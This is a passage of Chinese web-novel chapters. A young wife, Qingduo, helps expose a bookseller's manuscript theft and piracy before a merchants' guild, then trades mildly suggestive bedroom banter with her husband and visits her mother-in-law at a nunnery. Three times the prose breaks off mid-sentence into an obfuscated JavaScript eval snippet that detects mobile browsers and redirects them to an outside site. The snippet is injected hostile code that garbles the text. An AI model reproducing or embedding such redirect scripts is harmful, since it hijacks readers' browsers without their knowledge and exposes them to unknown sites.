突然听到身后露浓缓缓说道:“赛掌柜,这不过是个寻常的卖书契罢了,在你的店里,不过是众多书契中的一个,可你为何偏偏要在今日,把它带在身上呢?” 赛林甫一怔:“自然是我早就得到消息,你们要拿子翩的事逼问我,我当然得提前找到些证据,用来自保!” “那便奇了!”露浓紧紧盯着他,冷笑道,“你知道我们要谈子翩的事,带的却是吴燕的证据,对于我们要聊的话题,可不是一回事。” “除非在你心里,这两个是一回事。”露浓的声音清清楚楚落入在场每一个人的耳中,“是因为你知道他们两个之间有关联,对不对?” “那么,是什么关联呢?” 赛林甫脸上陡然失色。青朵听了露浓的话,眼睛登时一亮:“对啊!既然没有事先得知要谈吴燕姐的事,你又为什么提前准备好放在身上?” “因为子翩抄的书是窃取的,你怕我们顺嘴扯出其他人的账,带这张书契,是想堵住我们的嘴!可也暴露了,这也是偷的!” 她拍手笑道:“这不是‘此地无银三百两’吗?本想把自己摘的干干净净,没想到弄巧成拙,反倒把底细都暴露了!” 青朵像个小狗一样,兴奋地围着赛林甫转圈,欣赏他脸上阴晴不定的神色:“老赛啊,是我冤枉你了!” “我刚才还说,你藏着本事不肯交给子翩,可眼下瞧着,你们暴露时的心虚模样,倒是没什么差别!” “嗯——”她拉长声音点头,“‘是故弟子不必不如师,师不必贤于弟子。’露馅儿有先后,心虚有专攻。如是而已!” 屋里响起笑声。赛林恼羞成怒:“你!你!我之所以把这个卖书契带在身上,还不是因为你?” 青朵眨眨眼睛:“咦?你怎么知道我要来?连我自己都没想到我会来。” “哼!常言说的好,若想人不知,除非己莫为!你跑到董文远跟前装神弄鬼,搬弄是非,先前还在街上唱快板毁我名誉,你到底安的什么心思,我心里一清二楚!” 赛林甫指向曾正卿,怒道:“你们这是夫妻联手,处心积虑,要把我彻底搞垮!离间我和我的客人,在外搞毁我的名声。这般歹毒的计策,亏你们做的出来!” 青朵就不搭他的话茬儿,信口开河:“不错,我是给董文远算过命,你也要算算吗?”她掐起手指,眯起眼睛,嘴里念念有词,“下坤上艮,山地剥卦,根基动摇,大势不可逆转。” 青朵睁开眼睛,一副忧心忡忡的样子:“老赛,我劝你不要固执强撑,只会落得个加速败露的下场呀!” 露浓瞧着赛林甫的脸,红一阵白一阵,本就紧凑的脸现在更是拧成一团,透着股说不出的狼狈,她心里有种报了仇的快感,方才赛林甫避重就轻,甚至反过来诬陷她,像她这样只会讲道理的老实人,百口莫辩,气得她火冒三丈,更是说不出话来。可青朵一到场,局面就彻底变了。 她像变戏法抛球一样,时而紧扣着话题不放,时而又把话题抛远,轻松操作,游刃有余。等把话头拽回来时,一句又一句,如同弹弓上飞弹而去的石子,崩到在赛林甫的脸上,砸得他满头包。 露浓也说不好,这到底是“以其人之道,还治其人之身”,还是命中注定“一物降一物”。青朵就是有这种魔力,奸邪之辈也被她绕得头痛。 “曾正卿!你夫人在这颠倒是非、撒泼耍赖,你就当作视而不见,任她胡闹下去吗?”赛林甫气急败坏。 喂喂喂!这怎么回事?这场景怎么似曾相识? 青朵顿时联想起自己幼时,在外面闯了祸,被其他孩子的娘揪回自己家,向他爹告状:“唐礼!看看你家青朵!这丫头又把我儿子踢了!你瞧我儿子腿上,这么大一个脚印!要是踢到那处,我们家可就断子绝孙了!” 可她现在长大了,已经能为自己的事情负责了,赛林甫怎么回事?还拿她当不懂事的小孩子,甚至向自己的丈夫告状吗? 青朵当即不满,双手叉腰气呼呼道:“喂!老头,你看我不顺眼,就冲着我来!告状算什么本事?我告诉你,别说是他,就算你找我爹来,也管不了我!” “我夫人所言不错。”曾正卿起身接道。 “你现在这般,不过是硬撑罢了。子翩既已轻松承认自己不是《画堂春》的真作者,想来她到了衙门,过不了多久,就会把你和他父亲的交易和盘托出。至于你们四处偷印书籍的勾当,今日之内也必会彻底被揭发。” 当然,他肯定青朵所说不错,除了这个原因以外,还有一个缘由,确实,青朵想做的事,任凭其他人如何阻拦,也拦不住她。 他不给赛林甫抵赖的机会,上前几步面向葛会长,声音清晰说道:“葛会长,各位同行,今日有件事想跟大家说清楚。最近我店打算涉足话本行业,确实动了和宝元印刷工坊合作的念头,可前些日子找他们商谈时,才发现他们的业务竟如此繁忙,压根没有办法按照我想要的时间,把书印出来。” “一开始,我还以为他们是找理由推脱,不愿与我合作。可多聊几句,又感受到他们确实是为难。只是问起当下他们正在进行的项目,他们便含含糊糊说了几个,不肯多言。” “可据我所知,市面上宝元坊公开的书目其实并不算多。一查便知,他们跟我提的几个正在赶印的项目中,还有的是早就已经上市的旧单子,满打满算,这些明面上的活,顶多只占他们印刷能力的小部分。” “就凭这一小部分印量,要养活他们坊里这么多人,宝元坊凭此竟然能运作到今日,就算是他们经营得当,也是令人难以想象的事。我心中还有一处疑问,他们剩下的产量到底用到哪儿去了?” 大家听到此也忍不住议论纷纷,曾正卿抬手压了压,众人安静下来,他接着说道。 “我越想越觉得不对劲,也实在是好奇,便派手下人去细细打听。没想到,这一查,竟查出一件蹊跷事。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235591|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李顺,把你看到的,查到的情况,原原本本地告诉各位掌柜。” “是!”李顺恭恭敬敬上前,先对着各位掌柜躬身行了一礼,才垂手回话,“小人按照东家的吩咐,在宝元坊附近打听了些时日。起初没有听到什么有用的消息,直到前些天,偶然碰到一个在宝元坊后巷住了多年的老叟,他抱怨说,每个月总有几日,在夜里被他们家来往车辆吵得睡不安稳。小人听了这话,便多了留了个心眼,特意问清那些车辆常出现的时间。” “到了那天夜里,小人便带着两个人悄悄守在后巷等着,果然到了凌晨三更天的时候,瞧见宝元坊的后门悄悄开了,紧接着就出来好几辆马车。每辆车上都装的满满当当的,看着分量可不轻。” 李顺接着往下说道:“我让他们两人假装喝醉,在路上互相推搡吵闹,大打出手,故意挡住了路,不让马车行走。那些车夫有的凑上去拉架,有的围观瞧热闹。我趁当时乱哄哄的,悄悄凑到马车旁,用小刀割破了一个纸包。从里面抽出了一本书。” 他话音刚落,便从袖子里取出一本册子,双手捧着躬身递到葛会长面前,葛会长伸手接过,低头仔细一瞧,正是刚才陈年提到的《倾城记》,他问道:“陈年,你刚才所言,是否就是此书?” 陈年上前一看,点头道:“就是这本书没错,书上的名字写的是旁人。” 所有人的心里都有了确定的答案,齐刷刷地望向赛林甫,目光里充斥着轻蔑厌恶。 赛林甫兀自狡辩道:“这书在市面上随处可见,他们不过随便买了一本,带到此处,他们分明是想分别栽赃陷害我,还有宝元坊的掌柜!” “你闭嘴!”葛会长忍无可忍喝道,“是非曲直,自有公论存于人心,岂容你一而再,再而三地颠倒黑白,歪曲事实!” 赛林甫悻悻闭上嘴巴,葛会长看向曾正卿,示意他继续往下说。 曾正卿续道:“如果说,宝元印书坊做的是正经印书生意,偏偏公开市面上的书目少的可怜。说到底,他们大部分时间都用来印这些偷来的稿子上。可这些来路不正的书稿,又是从哪儿弄来的?” “这些书稿的原作者,当初只跟守真堂打过交道,压根儿没接触过宝源坊。可宝元坊偏偏印了这些书,仔细一想,这里头的关节再明白不过了!” “书稿就是赛林甫给宝元坊的!他俩一个盗稿,一个盗印,这是他们两个共同完成的罪行!” “而且子翩的事,也能印证二人勾结,宝元坊掌柜为女儿求名,托赛林甫寻书换名,署上子翩的名字。赛林府故技重施,挑了露浓的书,交给他盗印。他原本打算用老办法镇住露浓,让她不敢声张。岂知露浓姑娘态度强硬,又碰到我夫人为她打抱不平,竟将此事追查到底,彻底败露。” “会长,”曾正清躬身说道,语气里带着愤慨,“书籍本用来传扬知识,教化人心,如今却被赛林甫及宝元坊掌柜,这种贪得无厌的小人,当做谋利的工具!实在可恨!” “他们二人勾结,把咱们书商行业搞得乌烟瘴气,今日若不严处,不仅对我们行商同行不公,更会影响咱们行会的声望,日后再遇到此类歪风又用什么来约束其他书铺,怎能守住咱们行业的规矩操守呢?” 众人闻言义愤填膺,纷纷出声应和。 葛会长的目光扫过在场的掌柜们,沉声道:“赛林甫和宝元坊窃取他人书稿,盗印书籍,桩桩件件都犯了咱们行会的大忌!眼下既然真相已清,也不能再纵容他们搅乱行会,我认为,应暂停宝元坊的印书资格,责令赛林甫向原作者们赔礼道歉,交出盗印书籍的所得。二人行此丑事,日后不许他再参与行会的任何合作,众位意下如何?” 赛林甫见事情败露,眼见不再服软,就彻底无法挽回,哀声求饶道:“葛会长,不要赶我走,再给我一次机会,我以后做生意定然讲诚信……” “呸!这时候后悔了?若不是耽误你挣钱,恐怕你也不会悔!” “千万别信他,这不是他的权宜之策。” “我们才不要与你这种小人同流合污!没的连累了我们的名声!” 众人再也按捺不住,你一言我一语地叫骂起来。赛林甫缩着脑袋耷拉手,杵在原地,脸上一片黑红色,像是烂了的臭虾,他恨不得被水冲走。 忽然有人撞门冲了进来,颤声道:“老爷不好了!子翩,子翩她全都招了!官府派人搜查了宝元坊,在里面找到咱们那些书稿的雕版!宝元坊掌柜已经被带走了!他们现在正往咱们守真堂赶来……老爷!老爷!你怎么了?老爷!” 赛林甫听到官府找到盗印的证据,顿时身子一晃,双腿一软,瘫倒在地上。 * 青朵手里拿着一炷香,去点鞭炮的引线,小小的火星显了,她撒腿就往后跑,没跑几步,“噼里啪啦”的鞭炮声便追上她。 离开行会后,他们便来到曾家书铺。这是清源书籍铺正式售卖话本的日子,也是《画堂春》第一次署上露浓名字售卖的日子,每一声脆响,不仅是开业的吉音,更是胜利的欢歌。 露浓双眼含泪站在石阶上,手中拿着新出版的《画堂春》,目光久久落在署名“露浓”上。 她等这一天等得太久了。 “好姐姐,大好的日子你哭什么!快来和我一起放炮仗吧!咱们把晦气都赶走!”青朵冲上来拉起露浓的手。 露浓一笑,泪珠滚滚而下。她提袖擦干眼泪,说道:“好,我不哭了。我要笑,我要喜悦地笑!” 青朵满意点头:“这样才对嘛!” 露浓拉着她软乎乎的手,心里暖暖的,却还有一丝遗憾,要是朱熠能看到这一刻就好了。 红艳艳的鞭炮边炸响,边向后退,一片白茫茫的烟雾逐步跟进,先前浓密的烟团渐渐散开了,露出少年健壮的身躯。 朱熠双手背后,满面春风,望向露浓,他的眼睛炯炯发亮。露浓没想到朱熠竟也在此地,不禁讶然,四目相对间,两人相视一笑。 61. 河界 晚上曾正卿在福源居订下包间,四人共同庆贺一番。吃饱喝足本就头晕,再加上昨夜几乎没合眼,青朵的脑袋一点又一点,在桌旁打起瞌睡来。其他人见她这副模样,便顺势散了宴,曾正卿把她抱进马车,带她回家。 青朵正梦见赛林甫强词夺理,她想出言反驳,可自己晚上吃太多了,撑得直打嗝,一张嘴就:“嗝。”气得她飞起一脚踹向他,还没看清人倒了没,趾尖先传来一阵剧痛。 “嘶——”她倒吸一口冷气,顿时醒过来,身体缩成一团,抱着脚打滚。 咦?这是哪儿?这么宽敞,还能打滚? 她睁开眼睛左右一瞧,哦,原来是在家。刚才一脚踢到床柱上。 啊? 青朵吓得一骨碌爬起,坏了!她怎么在家?她不能在家呀! 在外头时,既有正事要处理,身边又围着其他人。她和卿卿在一起还算是自在,可待会儿屋子里就他们两个,孤男寡女独处一室,这! 她忽然忐忑起来,耳边仿佛传来芦苇丛里水波荡漾的声音,万一,万一自己像那日一样,情不自禁去扑过去,如何是好? 上次的事,尚且能说是酒精作祟,让她失了分寸。这次要是再做下这等事,可就没有任何托词遮掩,真真切切坐实,她是一个轻浮浪荡的女子。 应该没什么事吧?那天是喝了酒,今天她清醒着呢!绝不会重蹈覆辙! 不过,你真能行吗? 青朵心中乱糟糟地盘算,芳晴走进屋中,没想到床上一人呆愣愣坐着,冷不丁吓得浑身一抖,余惊未了,拍拍胸脯道:“少夫人,你醒来怎么一声都不出,吓了奴婢一跳。” 她打开柜子:“少爷沐浴马上就要出来了,让我来取一套衣服。” 从前曾正卿沐浴的那副模样,猝不及防地浮现在青朵眼前:乌发半湿,水珠顺着脖颈,锁骨,胸膛缓缓流淌,没入系紧浴巾的腰间去了…… 就这样想着,她的脸颊骤然升温,像是被热气蒸腾过似的,仿佛沐浴的那个人不是曾正卿,而是她。 这样的人,将要裹着水汽和皂香,与她共入罗帐。 低垂的帐子,覆轻纱,饥渴的她心里乱如麻。 要命了。 青朵霎时有了危机感,她慌忙对芳晴说道:“芳晴芳晴,你先不要管他,你先帮我个忙,给我拿一床最厚最厚的被子来。” 芳晴诧异道:“这种天气不用盖厚被吧?” “你只管取来就是,”青朵悲壮道,“好芳晴,今夜我能不能保住名声,就看这床被了!” 芳晴张大了口,她实在琢磨不明白,“被子”和“名声”能有什么关系。可转念一想,少夫人向来心思活络,想法出人意料,她这么说自然有她的用意,自己一个小丫头,只要照着她的吩咐去做就是,于是应下,转身先去取被子。 曾正卿沐浴完毕回到房里,想起临走时,青朵四仰八叉躺在床上,摆成一个“大”字。他打算把她往床里面挪一挪,刚伸手撩开床帐,俯下身子,看到眼前的景象,整个人都怔住了。 床的正中间横亘一道卷成柱形的被墙,将一整张床清晰分为两个小隔间,而他的妻子正乖巧地睡在里侧。 “嗯?”他错愕至极。 青朵听到声音,睁开眼睛看了他一眼,又飞快地闭上。就这会儿功夫,曾正卿已发现她醒着,指着中间被墙问道:“这是什么?” 青朵闭着眼睛答道:“楚汉河界。” “啊?”曾正卿更是一头雾水。 如果说这是“楚汉河界”,屋里只他们两个人,那么谁是项羽?谁是刘邦? * 青朵闭紧眼睛不敢睁开,呼!好险!如玉般莹润的男子,全身蒙着一层水汽,在烛火下灿然生光,尤其是领口微敞,露出一片瓷白的肌肤,让人忍不住伸手碰一碰,或是再多探一探。 只这一眼,那些歪门邪道的想法,就像一株毛毛草,撩得她心痒。 她心里又喜又悲。喜得是,自己虽然没有酒醉,但仍心动到一塌糊涂,所以并非是自己饥渴难耐,而是他本身太诱人。悲得是,就算此刻没有半分酒意,她还是有忍不住想要触碰的冲动,本以为清醒足以抵挡,如今看来真是难上加难。 啊!这样的夫君戳在那,试问谁能忍得住? 清心咒清心咒,我需要清心咒,让自己躁动的心静一静。 …… 不过清心咒怎么念? 算了,换一个经! …… 可其他的经怎么念? 经到用时方恨少,迷乱方悔读经迟。她脑子里一片混沌,什么经也想不起来,只有一句熟悉的话,颠来倒去,反复默念道:“南无阿弥陀佛,南无阿弥陀佛,南无阿弥陀佛……” “为何要在你我之间,设一个什么‘河界’?”曾正卿追问道。 他本以为熬过了生疏,有了夫妻之实,便是柔情蜜意,如胶似漆的恩爱两不离。可谁知,第二天她便撇下他,非要去陪露浓,他只当她讲义气,尊重她的决定。今日好不容易盼她回来,撩开帐子后就看到突兀的“河界”,回屋时满腔的期待瞬间烟消云散。 他很是不悦,未同房时,两人还能同卧一床,怎么有了肌肤之亲,反倒倒退了呢? 他见青朵不回答,便伸手去扯被子,青朵睁开眼睛,猛地按住被子,叫道:“不行!” “为何?”曾正卿不肯撒手。 为何? 他俯下身子,领口也随之下滑,露出更多的肌肤,青朵挪开眼睛,瞪向他,心道,这家伙不会是故意诱惑她吧? “我想好好睡一觉。”青朵道,“我昨天就没睡好,现在都要困死了!” 曾正卿拎起被子一头:“那好,我搂着你睡。” 青朵忙不迭爬起,将自己半个身子压在被上:“不行!被在我在!被走我走!” 两人对峙了一会儿,曾正卿凝视她的眼睛,开口道:“夫人,你在躲我?” 青朵撇过脸:“没有。” “松手。” “不要。” 两人再次双目相对,这次谁也不肯先移开,就这样倔强对望着。一个捍卫自己的“名声”,一个争夺自己亲近的权利。 最后还是曾正卿先放开手,他叹道:“怎么会这样呢?我以为我们会更亲密。” 青朵言简意赅:“过犹不及。” 曾正卿又叹气:“结婚近半年才有一次,算什么‘过’?” “我还以为那日你主动,以后我就不再必再过这种日子。” “呵,连以往都不如。”他的声音听起来酸酸的。 他怎么哪壶不开提哪壶?还特意点出主动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248928|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是她!青朵的脸腾地红了,她梗着脖子叫道:“睡睡睡睡觉!不不不许说了!” 烛火熄灭,漆黑一片,两人分睡,河界左右。 青朵翻来覆去睡不着,明明刚才睡得香甜,现在浑身都难受,根本无法入睡。她把原因归到曾正卿身上,那位自从躺下就不时叹气。青朵没好气道:“喂!曾正卿,你漏气啦?” 曾正卿长叹一声,侧着身子对着青朵恳切道:“夫人,我有话问你。希望你务必告诉我实情。” 青朵也侧过身子望向黑暗中的他:“什么事?” “那日……那日……咳,”他轻咳一声,低声道,“就是在船上……你,我,我让你不舒服了吗?” 听闻女子经了男女之事,不但不会抗拒后续的亲密,甚至会期盼身心相融的温存。青朵的表现却截然相反,连同床都多了一道被墙。这不能不让他多想,疑心是自己当初没能让她有好的体验,使她产生抗拒之心。可当时的情形,好像并不相符。除了这个,再也找不到其他缘由,思来想去,曾正卿心底不由得泛起一阵涩意。 如此,辗转反侧,夜不能眠。鼓足勇气,终于问出了口。 青朵在听到“在船上。”三个字就忍不住羞红了脸,等听见后面的问题,脸上更是火辣辣的。 这叫她怎么回答?如果照实回答“舒服”,他必定会立刻撤了这道被墙,凑过来贴紧自己,到时候自己能不能守住,可就难说了。 要是说“不舒服”……这不明摆着骗人吗?更让她不安的是,万一他信了这话,以后再不对自己做这样的事,那,那可如何是好? 她咬住下唇,脑袋嗡嗡作响,心揪成一团,一句话也说不出。 曾正卿自以为读懂了这份沉默,他的心像是缠在失控的辘轳的水桶,瞬间坠落到井底,发出一声闷响,浇灭心中仅剩的希冀。 “我明白了。”他缓慢地转向另一侧,声音低沉。 “不是的!”青朵感受到他的沮丧,连忙说道,曾正卿霍然翻过身来,看向黑暗中朦胧的身影,感受到他灼热的注视,青朵的勇气在渐渐消失,她嗫喏道:“不,不是……不舒服……” 她的话音越来越低,“一开始的时候,你,你碰我……我都不知道……那个地方……会,会……” 曾正卿顿时了然,如此说来,自己没白做功课,他低声道:“上次你畏痛不成,我便特意去找了些法子,就是为了让你不再难受。”他觉得脸上发热,“适逢发现此招……就……” 帐子里充斥着尴尬的气息,曾正卿见青朵不言,将手悄悄越过床中央那道“河界”,慢慢摸索,终于触到了她的手,将其拢在掌心,她任由他握着,没有挣扎。曾正卿心里松了口气,几分犹疑后,试探道: “既然你喜欢,我方才净了手,你要不要……” 青朵猛然跃起,一手盖住他的嘴,犹觉不够,又抽出另一只手捂在上面,叫嚷道:“别说了!别说了!” 呜!我的脸——青朵心里呜咽着。 他的闷笑声溢出指缝,青朵愤愤道:“曾正卿!你太过分!哼!你再笑我,过几日回老家,你就自己孤孤零零的回去!人家要问你,‘你夫人怎么没有一起回呀’,你就回答,‘我可有本事啦!我亲自把夫人气跑啦!’” “哼!我瞧你到时候,还能不能笑出来!” 62. 醒悟 曾正卿的笑声更大了。 青朵又羞又恼,抡起拳头照着他的胸膛捶了几下,曾正卿知道她是嗔怒于他,下手并不重,自己也不躲,“哎呦哎呦”地叫着。待青朵气出得差不多,他一把攥住她的手腕,猛地一拽,青朵毫无防备,跌进他的怀中。 她连忙用手抵住他的胸膛,阻止他靠近,警惕道:“你要干什么?” 曾正卿见她紧张兮兮的样子,笑了两声,揶揄道:“曾夫人放心吧,你夫君我什么都不做。” “只是,你让我抱一会儿。”他柔声道。 青朵听到他的保证,这才放松紧绷的身体,任由他抱住自己。 曾正卿缓缓抚摸她的头发,低叹一声道:“你平时做事不管不顾,胆大得很,怎么偏偏在夫妻之事上,这么容易害羞呢,嗯?” “阿照,到底是为什么?” “为什么……”青朵苦恼道,“我总觉得这样子太不矜持了。” “可我们是夫妻啊!抚摸、拥抱、亲吻,这些本就是寻常夫妻间最自然不过的事。” “每一次和你肌肤相亲,都让我感到愉悦放松,满足至极,不管我今日有多累,但抱紧你的那一刻,那些疲惫统统不见,而我是这个世界上最幸福的人。” “阿照,”他蹭着青朵的脑袋,低语道,“难道你没有和我相同的感受吗?你不喜欢与我亲昵吗?” 青朵沉默了。过了一会儿,她小声道:“我喜欢的。” “既然是这样,你又何必隐藏自己的感受?它们就像是月老的红绳,牵住你我,让我们一天天更加亲密无间。说到底,这不过是爱到深处时,最直白的表达啊。” 青朵若有所思:“你说的有理。” 这样吗? 爱到深处时,最直白的表达? 没错!就像男女之间情到深处时,会写诗相互应和。她以前就翻到过爹和娘写给彼此的诗,可比曾正卿上次给她的写得好太多了。 啊!青朵茅塞顿开,亲吻拥抱与一样,都不过是寄托情感的形式,既然都是形式,那也不分什么高贵低贱了。 想法瞬间举一反三:那她画以卿卿为原型的春宫,不就也是一种“爱到深处时,最直白的表达”? 还赚钱。 青朵的天地豁然开朗。 对呀!那她有什么好害羞的!就大大方方地赚……表达呗! 青朵心思已定,随口说道:“你说的没错,我应该好好准备一下。” 她很有必要多观察一下,收集整理素材,当她想通这一关节,各种点子源源不断涌进脑海:比如按月份来,可以画一套“正卿十二月”;顺着时令走,可以画一套“正卿二十四节气”;如果涉及谋略,还可以画一套“正卿三十六计”…… 曾正卿不知她心中所想,还以为她需要时间改变自己的想法,低头亲了亲她,叹道,“好吧!反正我已经等了半年,不差再多等些时日了!” 或许是那唇瓣有什么勾人的魔力,他又忍不住亲了一口,甚至得寸进尺含住了她的唇,蜻蜓点水般的轻吻变了味道,温热的气息交缠在一起,连呼吸都乱了节奏。 青朵恍惚起来,这吻是不是有什么说道?初始只觉得唇上温温的,接着四肢百骸都酥软起来,像是被注入了麻沸散。可再往下,就像浆糊将对子贴在墙上,说不清是对子离不开墙,还是墙放不开对子。 总之,唇舌纠缠,难舍难分。 不行!青朵心中一凛,差点中了“歹人”的奸计!这人刚才还说只是抱一抱,现在就想用吻麻醉她,以图下一步,真是贪得无厌! 唐青朵才不是这么好糊弄的! 她一拳击在曾正卿胸膛,趁他痛呼捂住伤处,滚了两滚缩到床里面。 他二人成婚以来,在这事儿上,曾正卿一共受了她一拳一腿,他疼得直吸冷气,断断续续道:“唐,唐青朵,我们真得约,约法三章,你,你以后不能再对我动手了。” “尤其,尤其是这种时候。别哪一日,真把我给……”他喘着粗气,盯着她不再说下去。 青朵也后悔,自己刚才下手重了,自己的拳法能击倒一个小偷,不该没轻没重地下手。她听曾正卿“嘶——”的一声,连忙跳下床去,点了蜡烛挪近急道:“快给我看看伤处!” “不必看,一定青了。” 青朵嘟囔起以前说过的话:“我就说嘛!咱俩的名字合在一起不吉利!所谓‘青朵正卿一相逢,便带来淤青无数’!” “胡说!”曾正卿又好气又好笑,他坚持道,“我们的名字再合不过了!” 青朵噗嗤一笑,曾正卿横了她一眼,他捂住胸膛,眉头紧蹙,烛火暖融融覆在他身上,也无法柔化他坚持二人相合的倔强。 视线交汇处,青朵不禁怦然心动。随即冒出一个念头,这个场景眼熟极了。 古有西施捧心,今有正卿捂腹。 嗯,还可以画“西施正卿捂腹图”。 * 十几日之后,便是曾正卿父亲曾为的祭日,青朵要随他回老家祭拜。动身之前,他们先去霁月庵一趟,她的婆婆早年在此出家,法号明净。他们既要将近日返乡的事告知于她,也想借此见上一面。 上次来霁月庵还是她与卿卿新婚之时。青朵的心里门儿清:这个婆婆虽身处佛门,实际根本没有斩断尘缘。就是出了一个“假家”。难道其他人都没有发觉吗? 据说自婆婆出家,母子二人再没见过面,上次她本也不愿意见卿卿,还是因为自己这个新妇进门,婆婆想嘱咐他好好待自己,最后才松口相见。想来这次去,也是不肯再见他,那……她还会不会见自己呢? 不管怎样,青朵这次有备而来。当她得知要去见婆婆,特意提前抄录了一本《金刚经》。可今早起晚着急出门,险些忘带,还是芳晴把它装在锦盒里追来给她。 路上曾正卿还说:“你怎么不用藏经纸抄写?” 青朵斜了他一眼:“请问尊驾带了何物?”他便不说话了。 呵呵,见自己亲娘什么特别的礼物都没准备,还好意思挑三拣四! 婆婆果然不见卿卿,出乎意料的是,她仍然愿意见自己。 青朵期待地看着明净。她很有把握,婆婆会喜欢这份礼物。准确来说,只要是她送的,想来婆婆都会喜欢。毕竟她连自己的亲生儿子都不愿意见,眼下却笑眯眯地看着自己,这明明就是打心眼里的偏爱。 “难为你有心,还特意抄经送我。”明净微微一笑,打开册子一瞧,眼中闪过一丝怔愣,她抬眼瞧了一眼青朵,不动声色合上册子,笑道:“阿照,我很喜欢它,多谢你。” 青朵眼睛一亮,她就知道! 明净问她曾正卿待她如何,青朵点头道:“很好很好。” 她实在忍不住,想大肆宣扬一下自己最近的战绩,便讲了打败赛林甫的事情,说得眉飞色舞,活灵活现,口干舌燥。她一连喝了好几碗茶,好不容易讲完,肚子咕噜咕噜叫起来了。 讲故事也是个力气活儿啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16265623|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青朵不好意思地按住肚子,冲着明净和站在一旁照顾她偷笑的明园,问道:“婆……不,明净师太,明园师太,眼看也快到用餐时辰了,不如我们一同去用斋饭吧。” 明净却摇头:“好孩子,你先去吧!我们等会儿再去,你先叫曾正卿来见我。” “哎呀!婆……师太,你肯见他啦!”青朵大喜,她手舞足蹈的,“卿卿一定高兴!我马上就告诉他这个好消息!” 这娘俩可真怪,要不然就不见,一见又说个没完。 青朵吃完斋面,又恭恭敬敬拜过菩萨。在霁月庵的庭院里无聊地转了好几圈儿,终于把曾正卿等出来。她心中一喜,嘴里叫着“卿卿”,提起裙子小跑迎上去,近了才看见曾正卿望向她的眼神里,带着几分说不清道不明的古怪。 “怎么了?”青朵忽然想起一事,捂住嘴闷声道,“哎呀!中午斋面的浇头里有韭菜,难道塞在我的牙缝里?” “没事。”他又古里古怪地看了她一眼,转身上了马车。青朵跟在后面进去,忍不住问道:“你们说了这么久,都在聊什么?” 他打量她一眼,挪开目光说:“没什么。”然后吩咐车夫启程。 肯定有什么! 这坏人,眼见她想知道,故意藏着掖着,不肯告诉他,就是想看她着急! 青朵缠着曾正卿问个不休,可他就是不说,她不满地戳了戳他:“喂!你能见到你娘,都是我的功劳。要不是她先见了我,又怎么会想着见你呢?” “你别卖关子了!可不能这样对待有功之臣!” 曾正卿闭目养神,听了她的话,嘴角溢出一抹笑容,但还是什么都不说。 好吧!他成功了。 他越是不说,青朵越好奇,被他吊得心痒痒。威逼不成,只能利诱。青朵凑近曾正卿,试图跟他讲条件:“这样吧!我亲你一下,作为交换,你要告诉我你们聊了什么。” 曾正清闭着眼睛伸出一根手指,点了点自己的脸。青朵生怕他后悔,扑上去一把搂住他,在他脸上“吧唧”亲了一口,急切道:“快说快说!” 曾正卿淡淡的:“母亲要我用心待你。” “嗯!”青朵用力点头,一双眼睛紧紧盯着他,“然后呢?” “就这些。” “就这些?”青朵难以置信,“你撒谎!你们聊了近半个时辰!不可能就只说一件事!你肯定有事没告诉我!” “我劝你还是实话实说。毕竟我都付了‘吻’,钱货交易不对等,你是要还我的!”她双手叉腰指责道。 曾正清笑吟吟的:“好啊,那我就还给你吧!”他低头朝青朵嘟起的唇吻去,青朵偏头避开,他便亲到她耳朵上。 “我不要你还!”青朵使劲擦耳朵,仿佛这样便是拒绝还“吻”,“我只是想知道,你们都聊了什么!” “我都告诉你了!真的就这些。” “骗人!” “奸商!”青朵指着他气咻咻骂道。 “这可是冤枉我!”曾正卿摊开双手,似笑非笑,“毕竟‘妻者,天也!夫不可不尊,不可不顺也’!” “我怎么敢对夫人撒谎呢?” 这话好悦耳啊!而且听起来……很熟悉。 青朵偏过头,凝神细想,记忆像是一条贪食的鱼儿,在钓饵的引诱下一跃而起,迸溅的惊恐覆盖了起初的茫然。 这这这这……这不正是自己写的《男诫》的第一句话吗? 卿卿…… 怎么知道??? 63. 不堪 镇定! 青朵暗自思忖:当初写的时候虽带着怒气,可这绝非是泄愤的文字。她本意是要教化天下男子,让他们都明白如何当人家的丈夫。反正她早晚都要把这文章公之于众的,卿卿看就看了吧,也没什么好大惊小怪的。 只是……他怎么看到的?青朵想来想去,只有一个答案。 她不满质问道:“你这人!怎么不经允许,就翻我东西?” 曾正卿挑了挑眉:“这不是你亲手送给母亲的礼物吗?” 青朵莫名其妙:“早上说过啊!我送的是抄写的经……”她突然想到什么,张大口说不出话来,呆滞的眼神里出现“难道?”的问询。 曾正卿点头道:“没错!芳晴装在锦盒里的,是夫人的大作《男诫》,不是抄写的《金刚经》。” 芳晴误我! 怪不得当时婆婆脸上有一瞬间的怔愣。 